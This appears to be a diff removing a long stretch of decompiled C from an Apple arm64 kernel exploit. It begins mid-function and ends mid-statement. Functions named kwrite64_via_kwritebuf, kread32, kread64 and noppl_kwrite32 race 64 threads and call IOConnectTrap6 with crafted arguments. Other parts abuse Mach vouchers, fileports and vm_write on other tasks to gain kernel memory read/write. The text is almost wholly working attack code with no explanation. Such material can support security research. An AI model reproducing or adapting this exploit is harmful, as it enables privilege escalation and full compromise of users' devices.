v58[0] = sub_10660(*a1, v16) & 0xFFFFFFFFC000LL; - v17 = (*(__int64 (__fastcall **)(_QWORD, __int64, __int64, _QWORD *))(*(_QWORD *)a1[1] + 8LL))( - a1[1], - qword_480B8, - 1LL, - v58); - v18 = sub_10660(*a1, v17 + 4096) & 0xFFFFFFFFC000LL; - v58[0] = v18; - v42 = (*(__int64 (__fastcall **)(_QWORD, __int64, __int64, _QWORD *))(*(_QWORD *)a1[1] + 8LL))( - a1[1], - qword_480B8, - 1LL, - v58); - v44 = sub_10660(*a1, v42 + 8) & 0xFFFF000000003FFFLL | v18; - v57 = xmmword_432E0; - v43 = (*(__int64 (__fastcall **)(_QWORD, __int64, __int64, __int128 *))(*(_QWORD *)a1[1] + 8LL))( - a1[1], - qword_480A0, - 2LL, - &v57); - v19 = *a1; - v20 = (*(__int64 (__fastcall **)(_QWORD, __int64, __int64))(*(_QWORD *)a1[1] + 16LL))(a1[1], qword_48098, 20592LL); - kwrite64_via_kwritebuf(v19, v43 + 64, v20, 1LL); - v57 = xmmword_432E0; - v46 = (*(__int64 (__fastcall **)(_QWORD, __int64, __int64, __int128 *))(*(_QWORD *)a1[1] + 8LL))( - a1[1], - qword_480A0, - 2LL, - &v57); - v21 = 0LL; - do - { - v22 = qword_43378[v21]; - v23 = dword_43390[v21]; - *(_QWORD *)&v57 = (v22 + 0x3FFF) & 0xFFFFFFFFFFFFC000LL; - *((_QWORD *)&v57 + 1) = v23; - v24 = (*(__int64 (__fastcall **)(_QWORD, __int64, __int64, __int128 *))(*(_QWORD *)a1[1] + 8LL))( - a1[1], - qword_480A0, - 2LL, - &v57); - if ( v24 ) - v25 = 1; - else - v25 = v21 == 2; - ++v21; - } - while ( !v25 ); - v26 = v24; - v27 = sub_10660(*a1, qword_480C8); - v39 = sub_10660(*a1, qword_480D0); - v58[0] = v26; - v28 = (*(__int64 (__fastcall **)(_QWORD, __int64, __int64, _QWORD *))(*(_QWORD *)a1[1] + 8LL))( - a1[1], - qword_480B0, - 1LL, - v58); - v50 = 1LL; - v29 = v44; - if ( v2 > 0x918C5A833FFLL ) - v29 = v42; - v37 = ((unsigned __int64)(v28 - v27) >> 13) & 0x7FFFFFFFFFFFELL; - v38 = v29; - v41 = (*(__int64 (__fastcall **)(_QWORD, __int64, __int64))(*(_QWORD *)a1[1] + 16LL))(a1[1], qword_48080, 28765LL); - v40 = (*(__int64 (__fastcall **)(_QWORD, __int64, __int64))(*(_QWORD *)a1[1] + 16LL))(a1[1], qword_48088, 28765LL); - v30 = 0LL; - *((_DWORD *)a1 + 5) = mach_thread_self(); - do - { - v49[0] = _NSConcreteStackBlock; - v49[1] = 3221225472LL; - v49[2] = sub_1BC60; - v49[3] = &unk_44918; - v49[4] = a1; - pthread_create((pthread_t *)&v58[v30++], 0LL, (void *(__cdecl *)(void *))sub_1BC54, v49); - } - while ( v30 != 64 ); - v47[0] = _NSConcreteStackBlock; - v47[1] = 3221225472LL; - v47[2] = sub_1BC68; - v47[3] = &unk_44938; - v47[4] = a1; - v47[5] = &v50; - v31 = v44; - if ( v2 <= 0x918C5A833FFLL ) - v31 = v42; - v47[6] = v45 + 8; - v47[7] = v38; - v47[8] = v31; - v47[9] = 0LL; - v47[10] = v26; - v47[11] = v22; - pthread_create(&v48, 0LL, (void *(__cdecl *)(void *))sub_1BC54, v47); - while ( (_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)) & 0xFFC) == 0 ) - { - v32 = mach_thread_self(); - thread_switch(v32, 0, 0); - } - v50 = 0LL; - while ( (kread32(*a1, v37 + v39) & 0x8000) == 0 ) - ; - v33 = *((_QWORD *)&v53 + 1); - **((_QWORD **)&v53 + 1) = v45; - *(_QWORD *)(v33 + 8) = v40; - IOConnectTrap6(connect[0], 0, 0xBEE2uLL, 0LL, 0LL, 0LL, 0LL, 0LL); - v34 = 8; - do - { - v35 = *((_QWORD *)&v53 + 1); - **((_QWORD **)&v53 + 1) = qword_480C0; - *(_QWORD *)(v35 + 8) = v41; - IOConnectTrap6(connect[0], 0, v43, v4, 0x20uLL, v46, 0LL, 0LL); - --v34; - } - while ( v34 ); - while ( v50 != 2 ) - ; - *(_QWORD *)&v57 = v26; - *((_QWORD *)&v57 + 1) = (v22 + 0x3FFF) & 0xFFFFFFFFFFFFC000LL; - (*(void (__fastcall **)(_QWORD, __int64, __int64, __int128 *))(*(_QWORD *)a1[1] + 8LL))(a1[1], qword_480A8, 2LL, &v57); - __dsb(0xFu); - (*(void (__fastcall **)(_QWORD, __int64, _QWORD, _QWORD))(*(_QWORD *)a1[1] + 8LL))(a1[1], qword_48090, 0LL, 0LL); - v36 = 0LL; - *((_DWORD *)a1 + 5) = 0; - do - pthread_join((pthread_t)v58[v36++], 0LL); - while ( v36 != 64 ); - pthread_join(v48, 0LL); - sub_1B158(a1, connect); - return 0LL; -} -// 20: using guessed type segment_command_64 stru_20; -// 10660: using guessed type __int64 __fastcall sub_10660(_QWORD, _QWORD); -// 10698: using guessed type __int64 __fastcall kwrite64_via_kwritebuf(_QWORD, _QWORD, _QWORD, _QWORD); -// 106D4: using guessed type __int64 __fastcall kread32(_QWORD, _QWORD); -// 1AADC: using guessed type __int64 __fastcall sub_1AADC(_QWORD, _QWORD); -// 1B158: using guessed type __int64 __fastcall sub_1B158(_QWORD, _QWORD); -// 1B280: using guessed type __int64 __fastcall sub_1B280(_QWORD); -// 1BC54: using guessed type __int64 __fastcall sub_1BC54(); -// 1BC60: using guessed type __int64 __fastcall sub_1BC60(); -// 1BC68: using guessed type __int64 __fastcall sub_1BC68(); -// 29D2C: using guessed type __int64 __fastcall sub_29D2C(_QWORD, _QWORD); -// 432E0: using guessed type __int128 xmmword_432E0; -// 43300: using guessed type __int128 xmmword_43300; -// 43378: using guessed type _QWORD qword_43378[3]; -// 43390: using guessed type unsigned int dword_43390[3]; -// 48080: using guessed type __int64 qword_48080; -// 48088: using guessed type __int64 qword_48088; -// 48090: using guessed type __int64 qword_48090; -// 48098: using guessed type __int64 qword_48098; -// 480A0: using guessed type __int64 qword_480A0; -// 480A8: using guessed type __int64 qword_480A8; -// 480B0: using guessed type __int64 qword_480B0; -// 480B8: using guessed type __int64 qword_480B8; -// 480C0: using guessed type __int64 qword_480C0; -// 480C8: using guessed type __int64 qword_480C8; -// 480D0: using guessed type __int64 qword_480D0; -// 480D8: using guessed type __int64 qword_480D8; -// 480E0: using guessed type _BYTE algn_480E0[32]; - -//----- (000000000001BC54) ---------------------------------------------------- -__int64 __fastcall sub_1BC54(__int64 a1) -{ - return (*(__int64 (**)(void))(a1 + 0x10))(); -} - -//----- (000000000001BC60) ---------------------------------------------------- -__int64 __fastcall sub_1BC60(__int64 a1) -{ - return sub_1AA90(*(_QWORD *)(a1 + 0x20)); -} - -//----- (000000000001BC68) ---------------------------------------------------- -__int64 __fastcall sub_1BC68(__int64 a1) -{ - return sub_1B360(*(_QWORD *)(a1 + 0x20), (_QWORD **)(a1 + 0x28)); -} - -//----- (000000000001BC78) ---------------------------------------------------- -__int64 __fastcall sub_1BC78(task_name_t a1) -{ - _QWORD *v3; // x20 - vm_size_t outsize; // [xsp+8h] [xbp-28h] BYREF - __int64 v5; // [xsp+10h] [xbp-20h] BYREF - __int64 v6; // [xsp+18h] [xbp-18h] BYREF - - if ( (unsigned int)sub_1BD24(a1, &v6) ) - return 0LL; - v3 = (_QWORD *)(v6 + 0x28); - if ( mach_task_self_ == a1 ) - { - *v3 |= 1uLL; - } - else - { - if ( vm_read_overwrite(a1, v6 + 0x28, 8uLL, (vm_address_t)&v5, &outsize) ) - return 0LL; - v5 |= 1uLL; - if ( vm_write(a1, (vm_address_t)v3, (vm_offset_t)&v5, 8u) ) - return 0LL; - } - return 1LL; -} - -//----- (000000000001BD24) ---------------------------------------------------- -__int64 __fastcall sub_1BD24(task_name_t a1, _QWORD *a2) -{ - __int64 result; // x0 - mach_msg_type_number_t task_info_outCnt; // [xsp+4h] [xbp-2Ch] BYREF - integer_t task_info_out[6]; // [xsp+8h] [xbp-28h] BYREF - - task_info_outCnt = 5; - result = task_info(a1, 0x11u, task_info_out, &task_info_outCnt); - if ( !(_DWORD)result ) - { - if ( *(_QWORD *)task_info_out ) - { - result = 0LL; - *a2 = *(_QWORD *)task_info_out; - } - else - { - return 5LL; - } - } - return result; -} - -//----- (000000000001BD80) ---------------------------------------------------- -__int64 __fastcall sub_1BD80(__int64 a1, unsigned int a2) -{ - unsigned int v2; // w0 - unsigned int v3; // w19 - __int64 v5; // [xsp+8h] [xbp-18h] BYREF - - v2 = sub_1BDEC(a2); - if ( (v2 & 0x80000000) != 0 ) - return 0LL; - v3 = v2; - if ( (unsigned int)sub_1BD24(mach_task_self_, &v5) ) - return 0LL; - if ( v3 <= 7 ) - return v5 + 4LL * (v3 + 6) + 0xE8; - return 0LL; -} - -//----- (000000000001BDEC) ---------------------------------------------------- -__int64 __fastcall sub_1BDEC(unsigned int a1) -{ - if ( a1 > 0x19 ) - return 0xFFFFFFFFLL; - else - return dword_4339C[a1]; -} -// 4339C: using guessed type unsigned int dword_4339C[27]; - -//----- (000000000001BE0C) ---------------------------------------------------- -__int64 __fastcall sub_1BE0C(__int64 a1, unsigned int a2, mach_port_name_t *a3) -{ - mach_port_name_t *v6; // x0 - mach_port_name_t *v7; // x20 - mach_port_name_t v8; // w1 - kern_return_t v9; // w0 - __int64 result; // x0 - unsigned int v11; // w1 - unsigned __int64 v12; // [xsp+0h] [xbp-30h] BYREF - mach_port_name_t name; // [xsp+Ch] [xbp-24h] BYREF - - name = 0; - if ( *(_QWORD *)(a1 + 0x158) < 0x1F543C40800000uLL ) - { - if ( voucher_create_mach_voucher(a1, a2 + 0x1122334455667788LL, &name) ) - { -LABEL_7: - result = 0LL; - *a3 = name; - return result; - } - return 0x1001LL; - } - v6 = (mach_port_name_t *)sub_1BD80(a1, a2); - if ( v6 ) - { - v7 = v6; - v8 = *v6; - name = v8; - if ( v8 + 1 > 1 ) - goto LABEL_4; - v12 = 0LL; - if ( a2 - 0x13 >= 2 ) - { - if ( a2 != 0x10 ) - return 0x1001LL; - v11 = 0xB; - } - else - { - v11 = 0xC; - } - if ( (unsigned int)sub_36160(a1, v11, (__int64 *)&v12) && v12 ) - { - result = sub_36480(a1, v12, &name); - if ( (_DWORD)result ) - return result; - if ( name + 1 >= 2 ) - { - v9 = mach_port_mod_refs(mach_task_self_, name, 0, 0xFFFF); - if ( v9 ) - return v9 | 0x80000000; - *v7 = name; - v8 = name; -LABEL_4: - v9 = mach_port_mod_refs(mach_task_self_, v8, 0, 1); - if ( v9 ) - return v9 | 0x80000000; - goto LABEL_7; - } - } - } - return 0x1001LL; -} - -//----- (000000000001BF68) ---------------------------------------------------- -__int64 __fastcall sub_1BF68(__int64 a1, unsigned int a2, vm_size_t a3, vm_address_t *a4) -{ - __int64 v6; // x21 - kern_return_t v7; // w0 - mem_entry_name_port_t object; // [xsp+Ch] [xbp-24h] BYREF - - object = 0; - v6 = sub_1BE0C(a1, a2, &object); - if ( !(_DWORD)v6 ) - { - if ( !a4 ) - { - v6 = 0LL; - goto LABEL_11; - } - v7 = vm_map(mach_task_self_, a4, a3, 0LL, 1, object, 0LL, 0, 3, 3, 2u); - if ( v7 ) - v6 = v7 | 0x80000000; - else - v6 = 0LL; - if ( !(_DWORD)v6 ) - goto LABEL_11; - } - if ( a4 && *a4 ) - { - vm_deallocate(mach_task_self_, *a4, a3); - *a4 = 0LL; - } -LABEL_11: - if ( object + 1 >= 2 ) - mach_port_deallocate(mach_task_self_, object); - return v6; -} - -//----- (000000000001C058) ---------------------------------------------------- -__int64 __fastcall sub_1C058(__int64 a1) -{ - vm_size_t v2; // x20 - __int64 result; // x0 - vm_address_t v4; // [xsp+8h] [xbp-18h] BYREF - - v4 = 0LL; - v2 = vm_page_size; - if ( *(_QWORD *)(a1 + 0x118) && *(_QWORD *)(a1 + 0x120) ) - return 0LL; - result = sub_1BF68(a1, 0x10u, vm_page_size, &v4); - if ( !(_DWORD)result ) - { - *(_QWORD *)(a1 + 0x118) = v4; - *(_QWORD *)(a1 + 0x120) = v2; - } - return result; -} - -//----- (000000000001C0C8) ---------------------------------------------------- -__int64 __fastcall sub_1C0C8(__int64 a1, int *a2) -{ - unsigned __int64 v4; // x8 - __int64 v5; // x24 - __int64 v6; // x21 - ipc_voucher_t *v7; // x22 - unsigned __int64 *v8; // x25 - __int64 v9; // x27 - int *v10; // x20 - int v11; // w8 - int v13; // w0 - unsigned __int64 v14; // x8 - __darwin_time_t tv_sec; // x22 - unsigned __int64 v16; // x8 - unsigned __int64 v17; // x22 - unsigned __int64 v18; // x8 - __int64 v19; // x22 - stat v20; // [xsp+0h] [xbp-110h] BYREF - int v21; // [xsp+94h] [xbp-7Ch] BYREF - unsigned __int64 v22; // [xsp+98h] [xbp-78h] BYREF - unsigned __int64 v23; // [xsp+A0h] [xbp-70h] - _QWORD v24[2]; // [xsp+A8h] [xbp-68h] BYREF - - v24[0] = 0LL; - v24[1] = 0LL; - v22 = 0xFFFFFFFFFFFFFFFFLL; - v23 = 0xFFFFFFFFFFFFFFFFLL; - v21 = 0xFFFFFFFF; - v4 = *(_QWORD *)(a1 + 0x158); - if ( v4 > 0x1C1B0A800FFFFFLL && (*(_DWORD *)a1 & 0x5584001) != 0 ) - { - v5 = 3LL; - } - else if ( v4 > 0x1F52FFFFFFFFFFLL ) - { - v5 = 3LL; - } - else - { - v5 = 4LL; - } - if ( (unsigned int)fd_open_dev_null(&v21) ) - { -LABEL_14: - v10 = (int *)&v22; - do - { - if ( *v10 != 0xFFFFFFFF ) - close(*v10); - ++v10; - --v5; - } - while ( v5 ); - v11 = 0; - } - else - { - v6 = 0x1122334455667788LL; - v7 = (ipc_voucher_t *)v24; - v8 = &v22; - v9 = v5; - do - { - if ( !voucher_create_mach_voucher(a1, v6, v7) ) - goto LABEL_13; - *(_DWORD *)v8 = j__fileport_makefd(); - mach_port_deallocate(mach_task_self_, *v7); - *v7 = 0; - if ( (*(_DWORD *)v8 & 0x80000000) != 0 ) - goto LABEL_13; - ++v6; - ++v7; - v8 = (unsigned __int64 *)((char *)v8 + 4); - --v9; - } - while ( v9 ); - if ( (unsigned int)setup_two_fds((unsigned int *)&v22) ) - { -LABEL_13: - fd_close(v21); - goto LABEL_14; - } - v13 = HIDWORD(v22); - *(_DWORD *)(a1 + 0x1930) = v22; - *(_DWORD *)(a1 + 0x1934) = v13; - v14 = *(_QWORD *)(a1 + 0x158); - if ( v14 > 0x1C1B0A800FFFFFLL && ((*(_DWORD *)a1 & 0x5584001) != 0 || v14 > 0x1F52FFFFFFFFFFLL) ) - *(_DWORD *)(a1 + 0x1940) = v23; - else - *(_QWORD *)(a1 + 0x1938) = v23; - if ( !fstat(v13, &v20) ) - { - tv_sec = v20.st_atimespec.tv_sec; - if ( validate_addr(a1, v20.st_atimespec.tv_sec) ) - *(_QWORD *)(a1 + 0x19D0) = tv_sec; - v16 = *(_QWORD *)(a1 + 0x158); - if ( v16 > 0x1C1B0A800FFFFFLL && ((*(_DWORD *)a1 & 0x5584001) != 0 || v16 > 0x1F52FFFFFFFFFFLL) ) - { - v17 = v20.st_atimespec.tv_nsec | 0xFFFFFF0000000000LL; - if ( validate_addr(a1, v20.st_atimespec.tv_nsec | 0xFFFFFF0000000000LL) ) - *(_QWORD *)(a1 + 0x218) = v17; - v18 = ((unsigned __int64)v20.st_atimespec.tv_nsec >> 0x28) * *(unsigned int *)(a1 + 0x180); - if ( v18 && (*(_QWORD *)(a1 + 0x188) & v18) == 0 ) - *(_QWORD *)(a1 + 0x19E0) = v18; - if ( *(_DWORD *)(a1 + 0x1930) != 0xFFFFFFFF - && *(_DWORD *)(a1 + 0x1934) != 0xFFFFFFFF - && *(_DWORD *)(a1 + 0x1940) != 0xFFFFFFFF ) - { - if ( *(_QWORD *)(a1 + 0x218) ) - { - if ( *(_QWORD *)(a1 + 0x158) >= 0x1C1B1914600000uLL && !(unsigned int)sub_1C058(a1) ) - { - v19 = *(_QWORD *)(*(_QWORD *)(a1 + 0x118) + 0x100LL); - if ( validate_addr(a1, v19) ) - *(_QWORD *)(a1 + 0x220) = v19; - } - } - } - } - else if ( v20.st_atimespec.tv_nsec && (*(_QWORD *)(a1 + 0x188) & v20.st_atimespec.tv_nsec) == 0 ) - { - *(_QWORD *)(a1 + 0x19E0) = v20.st_atimespec.tv_nsec; - } - } - fd_read_test((int *)(a1 + 0x1930)); - fd_close(v21); - v11 = 1; - } - *a2 = v11; - return 1LL; -} - -//----- (000000000001C3EC) ---------------------------------------------------- -__int64 __fastcall sub_1C3EC(__int64 a1, int *a2) -{ - vm_size_t v4; // x20 - int v5; // w8 - __int64 result; // x0 - unsigned __int64 v7; // x24 - ipc_voucher_t *v8; // x22 - mach_port_name_t *v9; // x0 - mach_port_name_t v10; // w1 - __int64 i; // x21 - mach_port_name_t v12; // w1 - int v13; // w21 - bool v14; // zf - __int64 v15; // x22 - __int64 v16; // x22 - __int64 v17; // x22 - int v18; // w24 - unsigned __int64 v19; // x0 - mach_port_t v20; // w9 - vm_size_t v21; // x8 - bool v22; // cf - int v23; // [xsp+14h] [xbp-7Ch] BYREF - vm_address_t v24; // [xsp+18h] [xbp-78h] BYREF - vm_address_t address; // [xsp+20h] [xbp-70h] BYREF - __int128 v26; // [xsp+28h] [xbp-68h] - mach_port_t connection[2]; // [xsp+38h] [xbp-58h] BYREF - mem_entry_name_port_t object; // [xsp+40h] [xbp-50h] - - object = 0; - *(_QWORD *)connection = 0LL; - address = 0LL; - v4 = vm_page_size; - v24 = 0LL; - v23 = 0xFFFFFFFF; - v5 = fd_open_dev_null(&v23); - result = 0LL; - if ( !v5 ) - { - v7 = 0xFFFFFFFFFFFFFFFDLL; - v8 = connection; - do - { - if ( *(_QWORD *)(a1 + 0x158) < 0x1F543C40800000uLL ) - { - result = voucher_create_mach_voucher(a1, v7 + 0x312233445566778BLL, v8); - if ( !(_DWORD)result ) - break; - if ( *v8 + 1 < 2 ) - goto LABEL_16; - } - else - { - v9 = (mach_port_name_t *)sub_1BD80(result, (int)v7 + 3); - if ( !v9 ) - goto LABEL_16; - v10 = *v9; - *v8 = *v9; - if ( v10 + 1 < 2 ) - goto LABEL_16; - result = mach_port_mod_refs(mach_task_self_, v10, 0, 1); - if ( (_DWORD)result ) - goto LABEL_16; - } - ++v8; - v22 = __CFADD__(v7++, 1LL); - } - while ( !v22 ); - if ( (*(int *)(a1 + 0x140) > 0x2257 - || IOConnectCallMethod(connection[1], 0x3E7u, 0LL, 0, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL) == 0xE00002C7) - && !vm_map(mach_task_self_, &address, v4, 0LL, 1, connection[0], 0LL, 0, 3, 3, 2u) - && !vm_map(mach_task_self_, &v24, v4, 0LL, 1, object, 0LL, 0, 3, 3, 2u) ) - { - v15 = *(_QWORD *)v24; - if ( validate_addr(a1, *(_QWORD *)v24) ) - { - *(_QWORD *)(a1 + 0x19D0) = v15; - v16 = *(_QWORD *)(v24 + 8); - if ( validate_addr(a1, v16) ) - { - *(_QWORD *)(a1 + 0xF0) = v16; - v17 = *(unsigned int *)(v24 + 0x10); - v18 = *(_DWORD *)(v24 + 0x14); - v19 = sub_29D2C((_DWORD *)a1, *(_QWORD *)(address + v17)); - if ( validate_addr(a1, v19) ) - { - v20 = connection[0]; - *(_DWORD *)(a1 + 0xE8) = connection[1]; - *(_QWORD *)(a1 + 0xF8) = address; - *(_QWORD *)(a1 + 0x100) = v4; - *(_DWORD *)(a1 + 0x114) = v20; - *(_DWORD *)(a1 + 0x110) = v18; - *(_QWORD *)(a1 + 0x108) = v17; - fd_close(v23); - v13 = 1; - goto LABEL_24; - } - v26 = 0uLL; - if ( v4 ) - { - v21 = 0LL; - do - { - v14 = v26 == *(_OWORD *)(address + v21); - v21 = (unsigned int)(v21 + 0x10); - v22 = !v14 || v21 >= v4; - } - while ( !v22 ); - } - } - } - } -LABEL_16: - fd_close(v23); - if ( address && v4 ) - vm_deallocate(mach_task_self_, address, v4); - for ( i = 0LL; i != 3; ++i ) - { - v12 = connection[i]; - if ( v12 + 1 >= 2 ) - mach_port_deallocate(mach_task_self_, v12); - } - v13 = 0; -LABEL_24: - if ( v24 ) - v14 = v4 == 0; - else - v14 = 1; - if ( !v14 ) - vm_deallocate(mach_task_self_, v24, v4); - *a2 = v13; - return 1LL; - } - return result; -} - -//----- (000000000001C720) ---------------------------------------------------- -__int64 __fastcall sub_1C720(_DWORD *a1, unsigned int *a2, unsigned int a3) -{ - __int64 result; // x0 - int v7; // w8 - __int64 v8; // x22 - unsigned __int64 v10; // x23 - __int64 v11; // x24 - unsigned __int64 v12; // x22 - _BOOL4 v13; // w8 - __int64 v14; // x20 - int v15; // [xsp+0h] [xbp-40h] BYREF - _BYTE v16[4]; // [xsp+4h] [xbp-3Ch] BYREF - __int64 v17; // [xsp+8h] [xbp-38h] BYREF - - result = 0LL; - v7 = a1[0x50]; - v8 = 0x38LL; - if ( v7 <= 0x1F52 ) - { - if ( v7 != 0x1809 && v7 != 0x1C1B ) - return result; - } - else if ( (unsigned int)(v7 - 0x1F53) >= 2 ) - { - if ( v7 != 0x2258 ) - return result; - v8 = 0x30LL; - } - result = sub_32D6C((__int64)a1, *a2); - if ( result ) - { - v10 = result; - result = kread32_outptr((__int64)a1, result, &v15); - if ( (_DWORD)result ) - { - if ( (v15 & 0x3FF) != 0x25 ) - return 0LL; - result = sub_328A4((__int64)a1, v10); - if ( result ) - { - v11 = result; - v12 = result + v8; - v13 = kread64(a1, v12, &v17); - result = 0LL; - if ( v13 && v10 == v17 ) - { - result = kread32_outptr((__int64)a1, v11 + 8, v16); - if ( (_DWORD)result ) - { - result = noppl_kwrite32((__int64)a1, v11 + 8, 0xFFFF); - if ( (_DWORD)result ) - { - if ( mach_port_deallocate(mach_task_self_, *a2) ) - return 0LL; - *a2 = 0; - result = sub_32D6C((__int64)a1, a3); - if ( result ) - { - v14 = result; - result = kwrite64((__int64)a1, v12, result); - if ( (_DWORD)result ) - { - sub_35E8C((__int64)a1, v14); - return 1LL; - } - } - } - } - } - } - } - } - return result; -} - -//----- (000000000001C8B0) ---------------------------------------------------- -__int64 __fastcall sub_1C8B0(__int64 a1, unsigned int a2, unsigned int a3) -{ - __int64 v6; // x0 - _DWORD *v7; // x21 - __int64 v8; // x0 - __int64 v9; // x23 - __int64 v10; // x22 - unsigned int v11; // w22 - kern_return_t v12; // w0 - __int64 v14; // [xsp+0h] [xbp-40h] BYREF - mach_port_name_t name; // [xsp+Ch] [xbp-34h] BYREF - - name = 0; - if ( *(_QWORD *)(a1 + 0x158) < 0x1F543C40800000uLL ) - { - if ( voucher_create_mach_voucher(a1, a2 + 0x1122334455667788LL, &name) - && (unsigned int)sub_1C720((_DWORD *)a1, &name, a3) ) - { - goto LABEL_9; - } - } - else - { - v14 = 0LL; - v6 = sub_1BD80(a1, a2); - if ( v6 ) - { - v7 = (_DWORD *)v6; - v8 = sub_32D6C(a1, a3); - if ( !v8 ) - { - v10 = 0x2800ELL; - goto LABEL_19; - } - v9 = v8; - v10 = sub_35E8C(a1, v8); - if ( (_DWORD)v10 ) - goto LABEL_19; - if ( a2 - 0x13 >= 2 ) - { - if ( a2 != 0x10 ) - { -LABEL_16: - v12 = mach_port_mod_refs(mach_task_self_, a3, 0, 0xFFFF); - if ( v12 ) - { - v10 = v12 | 0x80000000; - goto LABEL_19; - } - *v7 = a3; -LABEL_9: - v10 = 0LL; - goto LABEL_19; - } - v11 = 0xB; - } - else - { - v11 = 0xC; - } - if ( (unsigned int)sub_36160(a1, v11, &v14) && (v14 || (unsigned int)sub_361DC(a1, v11, v9)) ) - goto LABEL_16; - } - } - v10 = 0x1001LL; -LABEL_19: - if ( name + 1 >= 2 ) - mach_port_deallocate(mach_task_self_, name); - return v10; -} - -//----- (000000000001CA3C) ---------------------------------------------------- -__int64 __fastcall sub_1CA3C(__int64 a1, task_name_t a2, unsigned int a3, __int64 a4, unsigned int a5) -{ - __int64 v5; // x21 - __int64 v6; // x22 - __int64 v10; // x25 - __int64 v11; // x26 - __int64 v12; // x24 - unsigned int v13; // w1 - int inserted; // w0 - __int64 v15; // x23 - __int64 v16; // x25 - char *v17; // x22 - unsigned int v18; // w0 - unsigned int v19; // w0 - kern_return_t v20; // w0 - mach_port_t *v22; // x23 - _DWORD *v23; // x26 - mach_port_t v24; // w22 - _QWORD *v25; // x23 - unsigned int v26; // w0 - unsigned int v27; // w0 - char v29; // [xsp+14h] [xbp-8Ch] - mach_vm_size_t outsize; // [xsp+18h] [xbp-88h] BYREF - __int64 v31; // [xsp+20h] [xbp-80h] BYREF - _QWORD v32[2]; // [xsp+28h] [xbp-78h] BYREF - _QWORD v33[2]; // [xsp+38h] [xbp-68h] BYREF - - if ( *(_QWORD *)(a1 + 0x158) < 0x1F543C40800000uLL ) - return 0LL; - LODWORD(v5) = a3; - if ( a3 - 1 > 3 ) - return 0xAD001LL; - v10 = 0LL; - v11 = 0x28011LL; - v33[0] = 0LL; - v33[1] = 0LL; - v12 = a3; - v6 = 0x28008LL; - do - { - if ( a4 ) - v13 = *(_DWORD *)(a4 + 4 * v10); - else - v13 = v10; - a1 = sub_1BD80(a1, v13); - if ( !a1 ) - return 0x1001LL; - if ( (unsigned int)(*(_DWORD *)a1 + 1) <= 1 && ((a5 >> v10) & 1) != 0 ) - return v6; - *((_DWORD *)v33 + v10++) = *(_DWORD *)a1; - } - while ( (unsigned int)v5 != v10 ); - inserted = sub_1BD24(a2, &v31); - if ( inserted ) - return inserted | 0x80000000; - v15 = 0LL; - v29 = 0; - v32[0] = 0LL; - v32[1] = 0LL; - v16 = v31 + 0xE8; -LABEL_16: - v17 = (char *)v32 + 4 * v15; - do - { - if ( a4 ) - v18 = *(_DWORD *)(a4 + 4 * v15); - else - v18 = v15; - v19 = sub_1BDEC(v18); - if ( v19 > 7 ) - return v11; - v20 = mach_vm_read_overwrite(a2, v16 + 4LL * (v19 + 6), 4uLL, (mach_vm_address_t)v17, &outsize); - if ( v20 ) - return v20 | 0x80000000; - if ( (unsigned int)(*((_DWORD *)v32 + v15) + 1) <= 1 && (unsigned int)(*((_DWORD *)v33 + v15) + 1) >= 2 ) - { - v29 = 1; - if ( (unsigned int)v5 - 1LL != v15++ ) - goto LABEL_16; - goto LABEL_32; - } - ++v15; - v17 += 4; - } - while ( (unsigned int)v5 != v15 ); - if ( (v29 & 1) == 0 ) - return 0LL; -LABEL_32: - v22 = (mach_port_t *)v33; - v23 = v32; - do - { - LODWORD(outsize) = 0; - v24 = *v22; - if ( *v22 + 1 >= 2 ) - { - inserted = mach_port_allocate(a2, 1u, (mach_port_name_t *)&outsize); - if ( inserted ) - return inserted | 0x80000000; - inserted = mach_port_mod_refs(a2, outsize, 1u, 0xFFFFFFFF); - if ( inserted ) - return inserted | 0x80000000; - inserted = mach_port_insert_right(a2, outsize, v24, 0x13u); - if ( inserted ) - return inserted | 0x80000000; - inserted = mach_port_mod_refs(a2, outsize, 0, 0xFFFF); - if ( inserted ) - return inserted | 0x80000000; - *v23 = outsize; - } - ++v22; - ++v23; - --v12; - } - while ( v12 ); - v25 = v32; - if ( (unsigned int)v5 <= 1 ) - v5 = 1LL; - else - v5 = (unsigned int)v5; - while ( 1 ) - { - v26 = a4 ? *(_DWORD *)(a4 + 4 * v12) : v12; - v27 = sub_1BDEC(v26); - if ( v27 > 7 ) - break; - inserted = mach_vm_write(a2, v16 + 4LL * (v27 + 6), (vm_offset_t)v25, 4u); - if ( inserted ) - return inserted | 0x80000000; - v6 = 0LL; - ++v12; - v25 = (_QWORD *)((char *)v25 + 4); - if ( v5 == v12 ) - return v6; - } - return 0x28011LL; -} - -//----- (000000000001CD34) ---------------------------------------------------- -__int64 __fastcall sub_1CD34(__int64 a1, unsigned int a2, vm_size_t size, vm_offset_t offset, vm_address_t *a5) -{ - _BOOL4 v10; // w25 - vm_offset_t v11; // x2 - kern_return_t memory_entry; // w0 - __int64 v13; // x22 - kern_return_t v14; // w0 - bool v15; // zf - vm_size_t sizea; // [xsp+18h] [xbp-58h] BYREF - mem_entry_name_port_t object_handle; // [xsp+24h] [xbp-4Ch] BYREF - vm_address_t address; // [xsp+28h] [xbp-48h] BYREF - - address = offset; - object_handle = 0; - sizea = size; - v10 = offset == 0; - v11 = offset; - if ( !offset ) - { - v14 = vm_allocate(mach_task_self_, &address, size, 1); - if ( v14 ) - { - v10 = 0; - v13 = v14 | 0x80000000; - goto LABEL_19; - } - v11 = address; - } - memory_entry = mach_make_memory_entry(mach_task_self_, &sizea, v11, 3, &object_handle, 0); - if ( memory_entry ) - { -LABEL_3: - v13 = memory_entry | 0x80000000; - goto LABEL_12; - } - if ( sizea == size ) - { - v13 = sub_1C8B0(a1, a2, object_handle); - if ( (_DWORD)v13 || offset ) - goto LABEL_12; - memory_entry = vm_map(mach_task_self_, a5, size, 0LL, 1, object_handle, 0LL, 0, 3, 3, 2u); - if ( !memory_entry ) - { - bzero((void *)*a5, size); - v13 = 0LL; - goto LABEL_19; - } - goto LABEL_3; - } - v13 = 0xAD022LL; -LABEL_12: - if ( (_DWORD)v13 ) - v15 = offset == 0; - else - v15 = 0; - if ( v15 && *a5 ) - vm_deallocate(mach_task_self_, *a5, size); -LABEL_19: - if ( object_handle + 1 >= 2 ) - mach_port_deallocate(mach_task_self_, object_handle); - if ( v10 ) - vm_deallocate(mach_task_self_, address, size); - return v13; -} - -//----- (000000000001CEC4) ---------------------------------------------------- -__int64 __fastcall sub_1CEC4(__int64 a1) -{ - __int64 result; // x0 - vm_size_t v3; // x9 - vm_address_t v4; // [xsp+8h] [xbp-18h] BYREF - - v4 = 0LL; - result = 